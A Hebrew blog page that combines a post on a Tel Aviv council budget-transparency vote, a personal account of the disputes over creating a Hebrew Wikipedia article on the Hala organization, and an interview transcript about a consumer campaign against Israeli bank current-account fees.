תמר זנדברג מסיעת מרצ טענה ש"היא אומנם לא רואה מניעה לפרסם את התקציב בצורה אחרת אבל לפי דעתה זו התעסקות בנושא לא מהותי”. לדעתה "מספיק שחברי המועצה, משרתי הציבור, יקראו את התקציב ויעשו את העבודה עבור בוחריהם". זנדברג התעלמה מהעובדה שהתקציב בפורמט הקיים אינו מאפשר ניתוח והבנה לעומק, גם לחברי המועצה. ספר התקציב כולל כ 400 עמודים של טורי מספרים וחברי המועצה מקבלים אותו לידיהם עשרה ימים לפני ההצבעה על התקציב.
הצביעו נגד ההצעה לשקיפות התקציב: חברי הסיעות ת"א-1, מרצ, הירוקים, המפד"ל, רוב העיר, צדק חברתי, הגימלאים, בגד, תנו לחיות, ש"ס
הצביעו בעד ההצעה לשקיפות התקציב: עיר לכולנו, יאפא.
–
בתודה ובברכה,
שי זיו
רמ"ח מעורבות חברתית וקשרי חוץ
בעמותת הסטודנטים החדשה של האונ' הפתוחה (ע.ר)
11:06 בפוסט הזה אנסה לחלוק איתכם מה (עשוי להיות) כרוך בליצור ערך חדש בוויקיפדיה. ותוך כדי כך, להציף בעייה מערכתית (אנושית/פסיכולוגית?) במפעל הזה שנקרא וויקיפדיה.
הסיפור הוא על נסיוני ליצור את הערך "ארגון הלה" בוויקיפדיה והתלאות שאני עובר בלגרום לכך שהערך (איכשהו) יישאר (ראו עמוד השיחה של הערך והדיון סביב מחיקת הערך שמתקיים כרגע). הסיפור עוד לא נגמר, ואני מקווה שגם אתם תקחו בו חלק (אם לא עכשיו, אז בעתיד). ונתחיל:
ההתחלה התמימה – הרצון ליצור ערךהכל התחיל לפני קצת פחות משבוע, פנה אלי אחי שוקי במייל בבקשה שאסייע לידידה שלו, חברה בארגון הלה, לעזור שיהיה להם ערך על האירגון בוויקיפדיה העברית.
היות וכבר היה לי ניסיון (לא רב, אך קיים) בוויקיפדיה העברית והאנגלית, הסתכלתי על המסמך שהאישה שלחה לאחי להיות מאמר. מדובר היה בעמוד האודות של האירגון, שהיה לא אנציקלופדי בעליל. הפניתי את האישה לעמוד וויקיפדיה לדוגמא, ביקשתי שתשנה אותו כמיטב יכולתה לפי הנוסח הנ"ל, שתצרף קישורים ושתכתוב בעמוד האודות של העמותה שתוכן העמוד משוחרר מזכויות יוצרים (C) ונמצא תחת הזכויות CC (מהסוג הדרוש לשימוש על ידי וויקיפדיה).
לאחר שהידידה שלחה אלי נוסח יותר מתאים, פניתי ליצור את הערך. למי שלא יודע, כדי ליצור ערך חדש בוויקיפדיה הרי שמספיק לחפש את הערך ואם הוא איננו קיים תינתן לכם אפשרות ליצור אותו – וכך עשיתי. יצרתי את הערך על העמותה , לתוכו העתקתי את תוכן עמוד האודות מהאתר של העמותה עם מספר עריכות בסיסיות ראשוניות (יצרתי כותרות, פיסקאות והגדרתי את הערך כ"קצרמר" ועוד טיפה) ושמרתי. משם עברתי לעמוד השיחה של הערך וכתבתי מהיכן הערך הועתק (כדי שאנשים ידעו). כעת פניתי בחזרה לערך המקורי כדי לערוך אותו עוד, אבל נדהמתי לגלות שהערך נמחק.
שלב 1: מוחקים את הערך בגלל זכויות יוצריםהתקשתי להאמין שהערך נמחק (זה היה כ- 2 דקות לאחר שהערך נוצר), אז פניתי לראות את ההיסטוריה של העמוד. ראיתי שבחור בשם וינברג החליט למחוק את הערך בטענה של הפרת זכויות יוצרים. חזרתי לעמוד השיחה וראיתי שוינברג אכן כתב שהוא מחק את הערך בגלל הפרת זכויות יוצרים. לזה הייתי מוכן – וכתבתי לו שהערך מותר להעתקה (ושיסתכל בתחתית עמוד האודות, שם היה הצהרה ברורה שלתוכן העמוד יש את זכויות היוצרים הדרושות להעתקה לוויקיפדיה). המענה שקיבלתי אמר: "עדיין צריך לעשות שתי פעולות: לערוך את הדף כי מה שמתאים כפרסום באתר של עמותה לא מתאים לאנציקלופדיה והחשוב יותר להבהיר מדוע העמותה חשובה ומה עשתה עד היום שיצדיק כתיבת ערך עליה".
עניתי שאני אמשיך את דיון החשיבות בתחתית העמוד, ושלגבי עריכת הדף – אשמח לקבל ממנו הערות על הדף עצמו או הפניות לערכים מוצלחים דומים על ארגון או עמותה. מרגע זה והילך, וינברג לא כתב או ענה יותר בשום צורה.
האם הערך היה חשוב? עוד לפני שהספקתי לכתוב על הנושא, נכנס עורך אחר בשם "Lostam" וכתב "עמותה שפעילה 23 שנים, והערך מפרט לא רק את מטרותיה, אלא גם את הישגיה. לדעתי, עוברת את רף החשיבות". הידד, תמיכה על העבודה שאני משקיע ממישהו, איזה כיף.
שלב 3: וויכוחים קטנים וטיפשייםהוויכוחים הבאים לא באמת חשובים ואני לא אתן שמות (אבל מי שרוצה יכול למצוא אותם בדף השיחה של הערך)
וויכוח טיפשי 1: עורך מסויים החליט שזכויות היוצרים של העמוד שממנו הועתק הערך איננו טוב. הוא טעה.
וויכוח טיפשי 2: אחד העורכים כתב " אין סיבה להכפלת מידע באינטרנט ובמקום כתיבתו ניתן להוסיף קישור". התשובה (העוקצנית) שלי לטיעון הייתה: " אז אם אני מבין אותך נכון – אם אתר העמותה יסירו את העמוד האודות שלהם, זה יספק את צרכיך כדי שהערך ישאר?". כמובן שהטיעון היה שטותי, ולאחר מכן הרחבתי בנושא – "הסיבה לכך היא שהיופי בויקיפדיה היא שהוא מאפשר שיפור לאורך זמן של ערך. אפילו שעכשיו הבסיס של הערך דומה לעמוד ספציפי, הרי שהוא מהווה בסיס לשיפור ועריכה עתידית של אנשים שאיכפת להם. אם פעיל של העמותה הזו, או אדם שמתעניין בה, ירצו בעתיד לשפר את הערך – כעת יש להם ערך לשפר. מבלי שהערך יהיה קיים, הרי שהמידע שיהיה ברשותם לעדכן אותנו (את העולם דובר העברית), לא יעלה לאינטרנט. זאת כיוון שיש לשער שלא יהיה ביכולתם של האנשים הללו לשנות (בקלות) את עמוד האודות של האתר של העמותה, באותה צורה שהם יוכלו לעדכן את הערך האינצקלופדי.
או במילים אחרות – אם אני אנסח את עמדתך כעיקרון – הרי שאסור יהיה אי פעם להעלות (כבסיס לערך) לויקיפדיה משהו שנכתב במקום אחר. אני חושב שהעיקרון הזה הוא שגוי. העקרון מפספס את הערך המהותי של וויקיפדיה ככלי שיתופי ליצירת ידע. ואני חושב שהעקרון הזה חוסם התפתחות בריאה של האנציקלופדיה העברית."
הוויכוח המטופש הזה נראה לי כל כך מטופש, שפתחתי דיון על זה ב"מזנון" (המקום שבו מנהלים דיונים כלליים בוויקיפדיה). שם היה טיעון אחד שנכתב כנגד שהיה ממשי בעיני ושאמר שהניסיון של עורכים וותיקים הוא שיותר קל ליצור ערך מאפס מאפשר לערוך ערך קיים. על זה אין לי מה להגיב, אולי זה נכון אולי לאו. לא נכנסו עורכים וותיקים לדיון כדי להביא את דעתם בנושא.
וויכוח טיפשי 3: היה וויכוחון על האם זה חובתי (כיוצר הערך) להתאים אותו לסטנדרטים של וויקיפדיה. לאחר דיון קצר, הוסכם שזה ראוי אך לא חובה.
וויכוח טיפשי 4 בשלב מסויים מישהו החליט לפתוח שירשור דיון (שני) שבו הוא כותב "למה הערך חשוב?". בהאשמה לכותב המאמר (אני) שאני העמסתי על דף השיחה כך שאי אפשר היה לראות דיון על חשיבות הערך. לפרוטוקול, זה היה אחרי שאירגנתי לפחות פעמיים את כל הדיון מחדש מכיוון שהוא סתה לתחומים נוספים (שהעורכים העלו, לא אני). מיותר לציין שאותו אדם לא כתב שום טיעון בעד או נגד הערך עצמו. או התייחס למה שכתבתי לו.:
השלב הזה עורר בי תחושת גאווה. השלב של עריכת הערך בוצעה במקביל למה שתיארתי עד כה בשלב הוויכוחים המטופשים (שדרשו את זמני, במקום להתייחס לערך עצמו). אבל מה שזכיתי לראות היה עבודה מרשימה מכמה וכמה עורכים אשר נכנסו וקיצצו את הערך, שינו, העלו סימני שאלה ודיונים. יהיו שיאמרו שזה התנהגות קטנונית של העורכים, אני רואה זאת כמלאכת קודש של חקר ה"אמת". או ליתר דיוק, מה שבכוחנו (כיצורים משוטטי אינטרנט) לדעת על העולם.
כדי לראות יותר על מה אני מדבר, אפשר להכנס לעמוד השיחה של הערך ולראות ביקורת על הערך עצמו, ואף יותר טוב – להכנס לעמוד ההסטוריה של הערך ולראות איזה שינויים (רובם לדעתי לטובה) הוא עבר.
כאשר בוויקיפדיה מעלים הודעה "האם הערך הזה חשוב", ניתנת לערך כשבוע לזכות לדיון בין העורכים של וויקיפדיה על השאלה האם הערך חשוב או לא. אם לא מוצאים את הערך חשוב, הערך נמחק (תוך שבוע מהצבת ההודעה).
לאחר שלושה ימים שההודעה הזו הייתה באוויר, ולאחר שלושה נסיונות שונים שלי לקבל התייחסות מאנשים האם לדעתם הערך חשוב או לאו (ומדוע), נשארתי עם עמוד שיחה באורך של קצת יותר מ- 3500 מילים, 3 אנשים שאמרו שהם בעד הערך, הרבה עורכים שלא התייחסו לחשיבות הערך (ושלל עריכות לערך עצמו, שהיו סבבה).
בשלב זה השארתי הודעה שאומרת שאני עומד למחוק את הודעת ה"האם הערך חשוב?" מעמוד הערך, ושאלתי האם למישהו יש התנגדות.
אף תגובה במשך כיום.
הסרתי את התבנית.
לאחר כ- 6 שעות התבנית חזרה למקום.
"אסור לך להסיר את התבנית על חשיבות הערך שאתה פתחת".
באמת?! שאלתי את עצמי. זה לא היה כתוב בהערה עצמה. נכנסתי לעמוד הוויקיפדיה שמסביר את ההערה. ההודעה הזו לא כתובה במפורש, אבל בתחתית העמוד כתוב שמי שאמור להסיר את התבנית זה מי שהניח את התבנית, לאחר שדנים ומשכנעים אותו.
סבבה.
חזרתי לעמוד השיחה של הערך וניסיתי להבין מדוע אם יש הסכמה בדף השיחה שיש חשיבות לערך, אי אפשר להסיר את התבנית. הסיבה שקיבלתי היא ש: "אין קשר. אפשרי שמישהו יחשוב שלערך יש חשיבות, אבל שהתבנית צריכה להישאר עוד כמה ימים כדי למשוך עוד דעות."
טוב נו, זה לגיטימי, מה אני יכול עוד לומר על זה.
עורך אחר נכנס וראה את המצב. הוא הסיר את התבנית למחיקת הערך (במקרה של אי בירור חשיבותו) וכתב "לאחר קריעת (הטעות מכוונת) דף השיחה הנוכחי הסרתי את תבנית החשיבות. פתוחה הדרך בעיני מי שמפקפק בחשיבות להצבעת מחיקה. זה בדיוק מסוג הדיונים שצריך לסגור בהצבעה כזאת."
הודתי לו.
לאחר כשעה וחצי, עורך אחר בוויקיפדיה התחיל תהליך להצבעת מחיקה של הערך.
ההצבעה למחיקת הערך התחילה אתמול ועוד לא נסתיימה (יש לה עוד שבוע).
נכון לדקות אלו, 5 אנשים חתמו למחוק את הערך. 5 אנשים אחרים חתמו להשאיר את הערך (אבל אחד מהם קולו לא נספר כיוון שכנראה לא היה לו 100 עריכות לפחות ב- 90 הימים האחרונים).
אחד העורכים כתב בדיון סביב המחיקה "תחת ההנחה שהערך שוכתב או שניתן בקלות לשכתבו כך שיכלול מידע שאיננו מראה של האתר המקורי – מהם הטיעונים נגד החשיבות? "
עניתי לו " למיטב הבנתי, בדף השיחה לא הוצג אפילו טיעון יחיד כנגד חשיבות הערך."
עורך אחר כתב בעד המחיקה "כרגע מונחות תבניות "דרוש מקור" על חלק גדול מהישגי העמותה הנטענים. אני מתכוון להמתין עם הצבעתי מס' ימים. הצבעתי תושפע ממה שיקרה במהלך הימים הקרובים: אם יוצגו מקורות חיצוניים אמינים שיתמכו בהישגים אלה ויביאו להסרת תבניות ה"דרוש מקור" או לפחות להסרת רובן – אצביע בעד השארת הערך. אם רוב התבניות תיוותרנה בעינן – אתקשה להצביע בעד השארת הערך."
עניתי לו: "אני מסכים איתך שיש טעם בלהכניס יותר רפרנסים לטענות, אבל בהינתן הקושי הנדרש (מסתבר) להרים ערך לאוויר, הרי שאם נשאיר את הערך אז יינתן לאחרים ההזדמנות לדעת מה חסר בערך ולהשלים אותו בעתיד בעוד שאם הערך יימחק, אז לא ברור לי כיצד הערך יתרומם מחדש. אני (אישית) חושב שיהיה יותר מתאים להסיר טענות מאשר את הערך עצמו. בנוסף, כאשר מדובר בערך על עמותה שקיימת 23 שנה (אך איננה חלק מהמיינסטרים התקשורתי), הרי שמתן רפרנסים מהרשת בחלק מהמקרים צפוי להיות קשה עד בלתי אפשרי (פשוט לא היה לנו אינטרנט מספיק עשיר דאז). "
אחד העורכים הרשה לעצמו לכתוב בדיון משהו שיותר קרוב לתחושתי האישית:
"אלוהים אדירים, אתם שומעים את עצמכם?! וויקיפדיה נולדה וחיה על הערכים האלו בדיוק, וכך היא צריכה להמשיך להתקיים! אני לא מרבה במילים בדרך כלל, אבל זה פשוט מגוכך, יש ארגון שעשה מספר דברים (שצריך עדיין תימוכין, אבל לוקח זמן להשיג את הדברים האלו בדרך כלל), אז יש סיבה לערך על הארגון להתקיים, אפילו אם הוא יהיה קצר. אתם מתנהגים כמו ילדים קטנים, יש ארגון, הארגון עשה דברים, אז צריך להיות ערך! זה שאתם לא אוהבים אותו, או את איך שהוא כתוב, אז תשנו, בשביל זה יש וויקיפדיה, זה מה שאני עושה בכל אופן כשאני רואה דברים שצריך לתקן… וויקיפדיה היא האינציקלופדיה של הגולשים ולא של ילדים שטיפסו על עץ קצת גבוהה מידי ועכשיו לא יכולים לרדת ממנו! זה לא המקום לעשות פוליטיקה! אתם הסיבה שבגללה יש יותר ערכים על ישראל באנגלית ולא בעברית. אתם עושים עוול לכל הפרויקט ולאינטרנט החופשי בכלל!"
בתגובה ענה לו אחד העורכים: "אתה מוזמן להגיש תלונה לממונה על האינטרנט"
למי איכפת?
כי הרי זה הקטע הבאמת יפה בכל הסיפור הזה. ההבדל ביני לבין אדם אחר שהיה עושה את מה שעשיתי, הוא שקידמתי את הערך הזה כטובה לאחי, הערך עצמו לא באמת חשוב לי. כלומר, אני בפירוש חושב שהערך צריך להיות קיים, אבל אין לי חיבור ריגשי אישי לקיומו של הערך – וגם אם הערך יוצבע למחיקה, אני אשן היטב בלילה.
העניין שלי בסיפור הזה, כפי שחלקכם שמכירים אותי בוודאי מנחשים, הוא לא בערך עצמו. אלא בוויקיפדיה העברית כמייזם.
בכוונה לא כתבתי בכותרת מהן המסקנות שלי, וזאת משום שאני מקווה שכל אחד פה יפיק את המסקנות שלו (ואף ישתף את כולנו בהם). אבל בכל זאת אני אעשה ניסיון קטן במסקנה.
התחלתי את התהליך הזה של יצירת ערך חדש בוויקיפדיה העברת, מתוך מחשבה שיהיה מדובר במשהו קטן ופשוט שלא ידרוש ממני הרבה זמן. והנה אני מוצא את עצמי (כמעט כשבוע) מאוחר יותר, עם פחות זמן פנוי והרבה מלל בדף השיחה (ובדפי שיחה אחרים), כדי לנסות להבין מה לעזאזל הסיפור.
אילולי הייתי רואה בכל העבודה הזו שלי כפרוייקט מחקר (לסיפוק סקרנותי בעיקר), הרי שהייתי ממש מתעצבן. אני ספרתי 14 עורכים (מלבדי) אשר השתתפו בדיון על הערך בעמוד השיחה, כאשר מתוכם, אני יכול לספר רק 4 אנשים (פלוס מינוס 1) שהיו באמת "חברותיים" איתי ביחס לערך. כל שאר ה- 10 עורכים נתנו ביקורת (חלקה מוצדקת, לא מעט ממנה הייתה רעש טיפשי, כפי שתיארתי בחלק 3 של מאמר זה את הוויכוחים הטיפשיים שהתעוררו).
חוויה כמו זו שעברתי מותירה רצון עז להתייאש.
הפיתוי הראשון והמאד ממשי במצבי היה לקחת את הסיפור הזה אישית. להרגיש שתוקפים אותי (לא את הערך) באופן אישי. שהאנשים הללו סובלים ממקרה קשה של שנאת זר, מזנטרופיות, סוציופטיות ויותר מידי זמן פנוי כדי להציק. שהרי אפשר לחשוב מה כבר עשיתי, יצרתי ערך על עמותה בת 23 שנה שמנסה להעניק חינוך טוב יותר לילדים, איזה פשע. ומה שה עשו היה כל מה שניתן לדמיין (ומעבר לכך), כדי לחבל בקיומו של הערך, ולמעשה בזריקתו לפח של מאמצי לעשות את וויקיפדיה (טיפה) עשירה יותר.
הפיתוי השני שאני מרגיש הוא של תגובה לכעס פנימי. של הרצון ללכת ולנקום. לדוגמא, להכנס לערך של וויקיפדיה העברית עצמה ולהוסיף את התגית "חסר מקור המעיד על הטענה המופיעה כאן" ברחבי הערך. כבר בפיסקת הפתיחה ספרתי שצריך שלושה תגיות כאלה (לכל הפחות). וכך להמשיך בשאר הערך עד אשר בסוף התהליך אני אציע את הערך למחיקה, כיוון שהוא לא עומד בסטנדרטים של וויקיפדיה לקיומו. כלומר, אומנם מייזם וויקיפדיה הוא מייזם חשוב, אבל הוא צעיר יחסית והערך שלו לא מכיל מספיק מראי מקום לעדויות חיצוניות התומכות בטענות שמופיעות בו. ברור על כן שצריך להסיר את הערך.
אבל אני רוצה להאמין שאני אדם יותר גדול מללכת על פיתויים של תאוריות קונספירציה, כעס, עלבון ונקמה.
במקום זה, אני רוצה באמת להבין מה קרה פה.
והנה הניחוש שלי: אני חושד שהחוויה שלי חשפה בפני משהו (שלא נתקלתי ברפרנס אליו בעבר) שאני רוצה לכנותו בשם "טיפשותם החברתית של ההמונים". מה כוונתי? נתחיל מהמושג הקרוב בשם "חוכמת ההמונים" (שבאופן אירוני לא הצלחתי למצוא אותו בוויקיפדיה העברית, הנה הוא בוויקיפדיה האנגלית) אשר מתארת כיצד המון של אנשים מסוגלים (ללא יד מכוונת) להגיע לתוצר מאד אינטיליגנטי (נאמר, לינוקס, או וויקיפדיה) בזכות מאמצים קטנטנים של הרבה מאד אנשים בנפרד אשר עוקבים אחרי כללי עבודה משותפים מסויימים.
לעומת חוכמת ההמונים, טיפשותם החברתית של ההמונים היא התופעה שהרגע הייתי חלק ממנה. לפיה, המאמצים הקטנטנים של הרבה אנשים (10 עורכים לצורך העניין), לטרפד ניסיון של היחיד – מובילה לתחושה ריגשית של דחיה, בידוד, עלבון, תיסכול, כעס ומרירות.
ההבדל הוא שאני כבר פגשתי וויקיפדים בחיים האמיתיים. מלבד דוד שי (אותו יצא לי לפגוש בהרצאותיו ובנסיבות חברתיות), זכיתי לפגוש וויקיפדים נוספים – והם הצטיירו כאנשים חביבים (אם לא אפילו חמודים) למדי. אני מתקשה להאמין שכל עשרת העורכים ש"העליבו" אותי, באמת התכוונו להעליב. אני אתפלא אם ליותר מאיש אחד (פלוס מינוס שני אנשים) הייתה כוונת זדון אמיתית (שהיא מעבר לסתם אגו מנופח).
וזו הפואנטה שלי, למרות שאני מאמין שהאנשים הללו הם (בסך הכל) אנשים נחמדים (ואפילו טובים), הרי שכאשר הם מצטרפים להיות המון בעל הרגלי יחס מסויימים, אני פתאום מוצא את עצמי זוכה ליחס מה"קולקטיב" שמותיר אותי עם טעם רע מאד בפה.
אבל מילא אני. אותי זה לא יידכא הרי מלכתוב בוויקיפדיה. אני בן למשפחת גלילי, וככזה אני לא נרתע מאינטרנט או מאנשים שמשתמשים במילים כדי להתיש אותי (אני מאד מורגל לזה מהבית וזה לא פשוט להתיש אותי עם מילים, בעיקר כשהן כתובות). אז אני אישית אמשיך להיות בוויקיפדיה.
אבל מה לגבי כל שאר האנשים?
מה לגבי אנשים שהם טיפה פחות מנוסים באינטרנט או במילים ממני, ומנסים לעשות משהו בוויקיפדיה – וזה היחס לו הם זוכים.
אפילו שאני מאמין שלאף אחד מאותם 10 איש לא היו כוונות שליליות, הרי כתוצר מוגמר – אותם אנשים חדשים, בעלי רצון טוב, עשויים לקבל בקלות יותר מידי תחושה שלילית ופשוט לרצות ללכת ולא לתרום למייזם הזה יותר.
ומה לגבי אנשים שעורכים בוויקיפדיה. האם יש פה מנגנון איזון-חוזר-חיובי (כלומר שלילי), לפיו עורך כלשהו מקבל כזה יחס. ממשיך לערוך, אבל מרגיש מיזנטרופ בעצמו – ואז מתייחס כך לאחרים, מה שגורם גם להם להרגיש דחויים וחוזר חלילה ?
אלו השאלות איתם אני נשאר בתום הסיפור הזה.
ומה הלאה? לא יודע.
אולי ההבחנה הזו דורשת להדגיש בפני משתמשים חדשים את הסקנות של דחייה חברתית מהקולקטיב הוויקיפדי (בעל הרצון הבסך ההכל טוב), כדי שלא ייעלבו כל כך קשה. אולי צריך לעודד עורכים וויקיפדים להיות יותר "נחמדים", אבל האם זה באמת אפשרי? אני מסופק.
נותרתי בסיפור הזה ללא תשובות, אלא בעיקר שאלות. לא הייתי עושה ערך אינצקלופדי ממה שכתבתי, אבל לפחות אני מקווה שהיה לכם מעניין לקרוא
12:11 לפני כשבוע פירסם אחי שוקי פוסט שבו הוא סיפר על קמפיין שהוא מעורב בו (בתשלום) כנגד עמלות הבנקים (עמלות העו"ש אם להיות מדוייקים). כאשר אחד מקריאות הפעולה של שוקי היו החתימה על העצומה האלקטרונית של המאבק. תמיד הייתה לי את התחושה שהחתימה על העצומות הללו היא חסרת ערך כשלעצמה ולא זכור היה לי שהן עזרו במיוחד למאבק כלשהו. מלא בסימני שאלה, החלטתי להרים טלפון לאחי ולנסות להבין איזה חשיבות יש בעיניו לחתימה על עצומות אלקטרוניות.
השיחה הייתה מעניינת מספיק עד כדי שהחלטנו לשחזר חלק מהשיחה בתוך ערוץ IRC, וכך לתת תימלול כתוב של השיחה למען שעוד אנשים יוכלו לקרוא ולהביע את דעתם.
והרי השיחה בין שוקי לביני בנושא האסטרטגיה השיווקית של המאבק בעמלות העו"ש של הבנקים, והמקום של כלים אינטרנטיים (ועצומות בפרט) בתוכן:
שלום
אוקי, העברית עובדת פה
יאללה
אוקי
נתחיל
בקצרה – מה זה הקמפיין הזה של עמלות הבנקים
בקצרה:
המועצה הישראלית לצרכנות פתחה בחודש שעבר בקמפיין חדש נגד עמלות העו"ש
שים לב שמדובר ספציפית בעמלות עו"ש – לא כל עמלות הבנקים
למרות שישנם הרבה עיוותים שקשורים לעמלות
הייחוד של עמלות העו"ש הוא שכולם משלמים אותם – גם קשישים, נכים, חד הוריות וכו'
כשהמטרה הסופית היא מה ?
המטרה היא לבטל לחלוטין את עמלות העו"ש
וישנה יוזמת חקיקה בנושא שרצה עכשיו בכנסת
שתי שאלות מקדימות נוספות
הראשונה – האם המועצה הישראלית לצרכנות זה גוף רציני?
האם מניע אותו אינטרסים "טובים" (דהיינו לטובת הציבור) ?
או שמדובר בעמותת קש עם אנשים עם אגו ?
המועצה הישראלית לצרכנות היא מלכ"ר ממשלתי
[www.consumers.org.il]
זהו ארגון הצרכנים הגדול בישראל
ובשנה שעברה נקבע המעמד של המועצה בחוק שמסדיר את מעמדה והמנדט שלה
אוקי. איזה דברים טובים הם עושים?
המועצה מטפלת באופן שוטף בתלונות של צרכנים ומעניקה להם ייעוץ משפטי חינם
זה נחמד.
היא משתפת פעולה עם ארגונים נוספים, עם משרדי ממשלה ועם גורמי פיקוח ואכיפה
ולגבי צידקת המטרה
למה עו"ש זה בעיה בעצם ?
הרי הבנקים צריכים להרוויח כסף
ואני אומר זאת ללא ציניות
הבנקים צריכים להרוויח כסף, אין ספק
הם מנהלים את הכסף שלנו, זה עולה להם כסף (תשתית, כוח אדם וכו')
הם מרוויחים כסף באמצעות הלוואת הכסף שאנחנו מפקידים
אוקי.
אז מאיפה הגיע הקטע הזה של לקחת כסף גם מהעו"ש ?
כשאני שם כסף בבנק אני מאפשר לבנק להלוות אותו ללקוחות אחרים. הבנק מרוויח כסף מהריבית שהוא גובה על ההלוואות, כך שבעצם הוא תלוי בכסף שאני מפקיד שהוא מקור הרווח שלו
לכן, לכאורה, לבנקים יש אינטרס לעודד אותנו להפקיד כסף
זה אמור היה להיות מנוגד לאינטרס שלהם לגבות עמלות מנופחות
במצב של תחרות בריאה, הבנקים היו מתחרים ביניהם מי גובה פחות עמלות
רק שבעלי הבנקים ומנהלי הבנקים בישראל הפכו תאבי בצע
במקום להתחרות הם החליטו לתאם תעריפי עמלות. את זה לא אני אומר אלא הממונה על ההגבלים, ראה כאן [www.ynet.co.il]
זה חוקי ?
לא, זה מנוגד לחוק ההגבלים העסקיים
תיאום מחירים בכלל ותיאום עמלות בפרט, הוא "הסדר כובל". עבירה שדינה שנה עד חמש שנות מאסר
וואו, אוקי. אז באמת, למה לא פשוט תובעים אותם ?
זהו, שיש מצב אבסורדי, שבו הבנקים הרבה יותר חזקים ממי שאמור לפקח ולאכוף
הבנקים מרוויחים מיליארדים בכל רבעון
מתוך זה, מיליארד שקלים לשנה בערך, מגיעים מעמלות העו"ש
כלומר, אתה אומר שגם אם נקח את כל עמלות הבנקים על העו"ש, הבנקים עדיין יהיו ברווח.
נכון, הבנקים לא יתמוטטו אם נקח מהם את עמלות העו"ש
למעשה, הם בקושי ירגישו בזה
ואין אף גוף שמארגן תביעה ייצוגית נגדם ?
במהלך השנים היו התארגנויות רבות
ומה קרה להם ?
קשה מאד להתמודד עם גופים חזקים כל כך
ובגלל זה השאיפה היא לתקן את המצב באמצעות חקיקה
עמלות העו"ש הן לא הבעיה – הן סימפטום של תיאום המחירים
אבל יש מקרים שבהם הסימפטום קטלני יותר מהמחלה שמאחוריו
הבעיה הגדולה עם עמלות עו"ש היא שכולם משלמים אותן, גם מי שלא מרגיש בהן וגם מי שמרגיש מאד
העמלות הללו מטבע הדברים מכבידות במיוחד על האזרח הקטן – הממש קטן
מי שלא גומר את החודש, וממילא יש לו גם פחות כושר מיקוח מול הבנק שלו
מי שעבורו מאות שקלים של הוצאה על עמלות עו"ש בשנה הם הרבה כסף
אז ברור שדרוש טיפול שורש בבעיה של היעדר התחרות ענף הבנקאות
אבל עד שזה יקרה – ביטול עמלות העו"ש הוא צורך אמיתי ודוחק
גם צורך כלכלי – מדובר על מיליארד שקלים שבמקום ללכת לצריכה פרטית שתתרום לצמיחה, הולכים לכיסיהם של בעלי הבנקים
אז הבנתי את הבעיה, היא באמת נשמעת חמורה.
עכשיו אתה רוצה לשנות את זה
איך אתה מתכנן לעשות את זה?
(או ליתר דיוק, מהו התפקיד שלך בשינוי הזה)
ובכן, חשוב לומר שהשלב הנוכחי בקמפיין התחיל לפני שלושה שבועות אבל הקמפיין עצמו לא חדש
המועצה פועלת בעניין הזה כשנתיים
השלב הראשון היה להחתים אנשים על עצומה מקוונת
בלי מימון ובלי יחסי ציבור, חתמו עליה 740 אלף איש [www.consumers.org.il]
זה מאד מרשים.
כן, זה חסר תקדים בישראל. כמובן שאת הבנקים זה לא מעניין – לא מעניין אותם מה הציבור רוצה ומכיוון שאין תחרות הם מאמינים שהם יוכלו להמשיך לגבות מאתנו כסף מיותר לנצח
ומכיוון שהבנקים לא הבינו בכוחות עצמם, הגיע זמן החקיקה
המועצה מקדמת את הנושא גם בכנסת – נפגשת עם ח"כים ומעודדת את הציבור לפנות לח"כים כדי להשפיע עליהם לתמוך בחוק לביטול עמלות העו"ש
היום גם יצא לדרך קמפיין שטח שמבוסס ברובו על מתנדבים ועוד ילך ויתרחב
מטרת הפעילות האינטרנטית היא להעניק רוח גבית לקמפיין
להעלות את המודעות
לשלוח גולשים לאזור המיוחד שמוקדש לקמפיין באתר המועצה
להשפיע על התקשורת לעסוק בנושא ולא לתת לו לרדת מסדר היום
זה יכול לקחת שבועות או חודשים עד שהחוק יגיע להצבעה, ובזמן הזה מה שאנחנו נעשה, נאמר ונכתוב ישפיע מאד על האווירה
אוקי, כלומר אם הבנתי אותך נכון – המטרה היא להעלות מודעות של עוד אנשים לקמפיין הזה כדי שבשלב שזה יגיע לחקיקה בכנסת חברי הכנסת יחושו לחץ מהציבור לפעול בצורה מסויימת.
מדויק
במקביל, אנחנו רוצים שעוד אנשים יחתמו על העצומה
את חברי הכנסת מניעים באופן טבעי אינטרסים מגוונים
רובם – בוא נקרא לילד בשמו – מתנהלים בהתאם לכיוון אליו נושבת הרוח
ואנחנו רוצים שהרוח תנשוב בכיוון של ביטול העמלות
האם מליון איש החתומים בעצומה באינטרנט יהיה מספיק ?
בכל תחום ובכל נושא ישנה מאסה קריטית של מעורבות אזרחית שגורמת לשינוי
באופן טבעי, במדינה כמו ישראל שבה יש כל כך הרבה בעיות ושהתקשורת עוברת מנושא לנושא כהרף עין, חלוקת הקשב קשה
אבל כשהחוק יגיע להצבעה, יש חשיבות גדולה לסיקור התקשורתי שהוא יקבל
אם חברי הכנסת ידעו ששמם יופיע ברשימות שיפורסמו בעיתונות – כפי שעושים לפעמים – כמי שהתנגדו או תמכו, זה בהחלט עשוי להשפיע על החלטותיהם
אף ח"כ לא רוצה להצטייר כמי שפועל בניגוד לאינטרס של הבוחרים שלו
לכן, יש לשכנע אותם שהבוחרים שלהם רואים את זה כבעל חשיבות עליונה
ויש כמובן לשכנע את התקשורת – שלפעמים גם היא קצת מנותקת
השילוב בין סיקור תקשורתי, פעילות שטח התנדבותית, שתדלנות בכנסת ורוח גבית מהאינטרנט, יכול לחולל שינוי
ומדובר על שינוי היסטורי בכל מובן – להחזיר לאזרחי המדינה מיליארד שקלים שנגבים מהם שלא כדין, זה בהחלט דבר היסטורי
האם אתה חושב שהעוצמה כשלעצמה זה מספיק או לא ?
העצומה היא חלק מהעניין והחתימה עליה היא חשובה אך לא חזות הכל. יש הרבה דברים שגולשים יכולים לעשות
לחתום על העצומה, להצטרף לקבוצת הפייסבוק, לשלוח לחברים באימייל, לכתוב בבלוגים ולקשר
כאשר יש באזז חזק ברשת העיתונות מתקשה להתעלם ממנו
כך היה למשל בקמפיין למען דב חנין, ושם הייתה מעורבות של מעט אנשים באופן יחסי מכיוון שזה היה נושא מוניציפלי
המועצה פועלת בכל הערוצים האפשריים, ולמרות שהכל נעשה בתקציב מאד מוגבל יש סיכוי טוב שהקמפיין הזה יצליח
האם עוד מאה אלף איש שיחתמו על העצומה ישנו משהו ?מדוע העצומה כשלעצמה חשובה?
היופי של העצומה הוא שכל מי שיש לו גישה לאינטרנט יכול לחתום עליה
לא לכולם יש בלוג ולא לכולם יש זמן להתנדב, אבל כמעט כולם יכולים לחתום
